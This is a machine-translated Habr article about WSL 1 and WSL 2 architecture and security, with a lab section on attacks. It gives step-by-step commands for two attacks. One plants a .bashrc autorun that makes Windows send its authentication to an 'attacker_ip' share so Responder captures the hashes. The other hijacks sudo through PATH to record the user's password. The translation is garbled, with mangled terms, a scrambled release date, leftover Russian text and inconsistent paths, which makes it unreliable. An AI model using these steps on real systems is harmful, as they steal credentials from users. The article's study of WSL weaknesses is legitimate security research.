Hej, habr! OTUS lancerer en ny kursusstrøm i oktober . I forventning om kursstart deler vi en artikel skrevet af en af vores undervisere, Alexander Kolesnikov, med dig.
I 2016 introducerede Microsoft den nye WSL-teknologi til it-samfundet (Winde Sundersystem til Linux), som i fremtiden gjorde det muligt at forene tidligere uforenelige konkurrenter, der kæmpede om popularitet blandt både almindelige og avancerede OS-brugere: Windows og Linux. Denne teknologi gjorde det muligt at bruge Linux OS-værktøjer i et Windows-miljø uden behov for at køre Linux, for eksempel ved hjælp af Multi-boot. På Habr kan du finde en lang række artikler, der beskriver fordelene ved at bruge WSL. Men på tidspunktet for oprettelsen af denne artikel blev der desværre ikke fundet nogen undersøgelser af sikkerheden ved en sådan symbiose af operativsystemer på denne ressource. Dette indlæg vil være et forsøg på at rette op på dette. Artiklen vil tale om funktionerne i WSL 1- og 2-arkitekturerne og undersøge flere eksempler på angreb på systemer, der bruger disse teknologier. Artiklen er opdelt i 2 dele. Den første vil give de vigtigste teoretiske angrebsmetoder fra Linux og Windows. Den anden artikel vil involvere opsætning af et testmiljø og gengivelse af angrebene.
WSL 1: arkitektoniske træk
For det mest nøjagtige dyk ind i WSL-sikkerhedsproblemer er det nødvendigt at bestemme de vigtigste nuancer forbundet med implementeringen af delsystemet. En af de vigtigste brugeropgaver, som WSL løser, er evnen til at arbejde gennem en Linux-terminal på en vært, der kører Windows OS. Den tilbudte kompatibilitet var også så indbygget, at Linux-eksekverbare (ELF'er) kunne køres direkte på et Windows-system. For at nå disse mål blev der oprettet et særligt undersystem i Windows 10, der giver dig mulighed for at køre Linux-applikationer ved hjælp af et sæt specifikke systemkald - således blev der forsøgt at kortlægge et sæt Linux-syscalls på Windows. Dette blev fysisk implementeret ved at tilføje nye drivere og et nyt procesformat. Visuelt så arkitekturen sådan ud:
Faktisk blev interaktion med Linux-operativsystemet organiseret gennem adskillige kernemoduler og en særlig type proces - pico. Fra diagrammet ovenfor kan du se, at processen, der kører på Linux-instansen på værten, skal være native og skal bruge de samme ressourcer som almindelige Windows-applikationer. Men hvordan opnår man dette? I projekt Proceskoncepter til Windows blev udviklet, der gav alle de nødvendige komponenter i operativsystemet (afhængigt af dets version) til at køre en applikation af et andet OS.
Bemærk, at den foreslåede abstraktion gjorde det muligt ikke at fokusere på operativsystemet (især Windows), hvor processen med et andet OS forventes at starte, og foreslog en generel tilgang.
Således kunne enhver applikation inde i pico-processen køre uden hensyn til Windows-kernen:
- Problemer med kompatibilitet og oversættelse af systemopkald skal løses af særlige udbydere;
- Adgangskontrol skal ske gennem Sikkerhedsmonitoren. Skærmen er placeret i kernen, og derfor havde Windows brug for en opgradering i form af en ny driver, der kunne fungere som udbyder af sådanne processer. Prototypen af pico-processen er skematisk præsenteret nedenfor:
Da Linux-filsystemet bruger store og små bogstaver i fil- og mappenavne, blev 2 typer filsystemer tilføjet til Windows for at fungere med WSL - VolFS og DriveFS. VolFS er en implementering af Linux-filsystemet, DriveFS er et filsystem, der fungerer efter Windows-regler, men som har mulighed for at vælge følsomhed for store og små bogstaver.
WSL 2
WSL 1 havde en række begrænsninger, der ikke tillod den at blive brugt til at løse den maksimale række af opgaver: for eksempel havde den ikke mulighed for at køre 32-bit Linux-applikationer, og det var umuligt at bruge enhedsdrivere. Derfor blev WSL 2020 frigivet i 2, hvilket ændrede tilgangen til at bygge delsystemet. WSL 2 er en optimeret virtuel maskine, der matcher ressourceforbrugsegenskaberne for WSL 1. Nu, afhængigt af de problemer, der er løst af Windows OS-brugeren, kan du vælge den nødvendige version af Linux-undersystemet. For at afbøde mulige sårbarheder blev WSL 2 implementeret baseret på Hyper-V i Windows 10. I denne form har Windows mulighed for at køre Linux-operativsystemkernen isoleret. Det er værd at huske på, at version 1 af WSL blev introduceret som en beta-funktion, der skulle vise retningen for Windows-udvikling på dette område, så overgangen til Hyper-V var uundgåelig. Den endelige arkitektur ser således ud:
I denne version har Windows- og Linux-kernerne deres egne ressourcer, og krydset eksisterer kun i filsystemet, men dette kryds er ikke komplet. Interaktion mellem filsystemer udføres gennem en klient-server-indpakning, der fungerer ved hjælp af 9P-protokollen.
I dag tilbyder Microsoft muligheden for at skifte mellem WSL 1 og WSL 2. Begge versioner er tilgængelige til brug.
WSL Sikkerhed
I øjeblikket er der flere værker, der beskriver nogle tilgange til at bruge legitime OS-værktøjer til at angribe kommunikationen mellem undersystemer. Vi vil bruge deres scripts til at kontrollere relevansen af angrebene i skrivende stund. Generel liste over angreb og scenarier:
1. Filsystemimplementering: adgangsrettigheder, tilgængelighed af delte mapper/dataudvekslingsmekanismer.
Der blev udført forskning for at fastslå overtrædelser af adgangsregler fra Linux FS->Windows FS, Windows FS->Linux FS. Forskning har vist evnen til at ændre en given fil inden for mål-OS. Der blev også gjort forsøg på at erstatte, oprette dubletter og slette en del af filsystemerne.
Scenarie:
- A. Angreb fra Windows-operativsystemet - ændring af filer fra mappen /etc i Linux OS.
- B. Angreb fra Linux-operativsystemet - ændring af filer i mapper:
C:Windows,C:Program Files,C:Users<User>
2. Implementering af netværksstakken.
Undersøgelsen blev udført ved hjælp af eksempler på angreb fra Linux-operativsystemet på Windows. Funktionerne i netværksstakken blev brugt, nemlig autentificeringsmekanismer på forskellige ressourcer.
Scenarie:
- Åbning af adgang til en port, der er optaget på et Windows-system
- Åbning af en port uden de relevante rettigheder
- Kører omvendt shell ved hjælp af elf-fil på Windows-operativsystemet.
3. Skjuler lanceringen af ondsindede softwareprocesser ved hjælp af WSL-undersystemet.
Undersøgelsen var baseret på en simpel kendsgerning - sikkerhedsundersystemer kan ikke opsnappe hændelser i en anden kerne, der fungerer ved hjælp af en legitim udbyder fra operativsystemet i tilfælde af WSL 1. I tilfælde af WSL 2 er der ingen måde at se hændelser, der opstår i en separat kerne i en let virtuel maskine.
Scenarie:
1) Start applikationen for fjernadgang til systemet og se de loggede hændelser.
WSL 1-eksperimenter: hash-aflytning (Windows)
Endelig kom vi til den praktiske del. Først skal du konfigurere testmiljøet. Alle eksperimenter vil blive udført på en bænk med installeret Windows 10 2004. Ubuntu 18.04-billedet blev valgt som operativsystembillede for WSL. Billedet blev valgt tilfældigt, og alle andre vil fungere på samme måde. Kommandoer til opsætning af et stativ:
Du skal først starte powershell.exe som administrator.
For WSL 1 skal du køre kommandoerne:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Efter genstart af stativet kan du kalde bash-kommandoen. Hvis alt fungerede korrekt, vil du se output svarende til dette i Windows-konsollen:
Vi vil bruge Kali Linux-distributionen som angriberens maskine; alle maskiner skal være på det samme lokale netværk.
Lad os antage, at vi har uprivilegeret adgang til WSL på en Windows-maskine. Lad os prøve at angribe Linux-operativsystemet ved at kalde en kommando fra Linux. For at implementere angrebet vil vi bruge en simpel autorun-teknik - vi tilføjer vores script til eksekvering i Linux-miljøet. For at gøre dette skal du ændre filen .bashrc.
På en maskine med WSL udfører vi:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitPå en Kali Linux-maskine kører vi:
1. Responder -I eth0 -rdvwLad os starte bash på en Windows-maskine.
Vi venter på resultatet på Kali Linux-maskinen:
Således fik vi Windows-bruger-hasherne gennem WSL-undersystemet ved at udføre kommandoen på Linux-systemet.
WSL 1-eksperimenter: opnåelse af brugeradgangskode (Linux OS)
Lad os lave endnu et eksperiment. Under denne kontrol tilføjer vi til filen .bashrc flere kommandoer for at få Linux-operativsystemets brugeradgangskode.
Lad os starte bash og indtaste kommandoerne:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
For at fuldføre angrebet skal brugeren Sam ringe til sudo i Linux-terminalen. Herefter vil Linux OS-brugeradgangskoden være i filen pass.txt:
Implementeringen af angrebene blev kun givet til teoretisk information.
Den næste del af artiklen vil beskrive implementeringen af 9P-protokollen, overveje oprettelsen af en scanner til denne protokol og også udføre et angreb ved hjælp af den.
Liste over brugt litteratur
Læs mere
Kilde: www.habr.com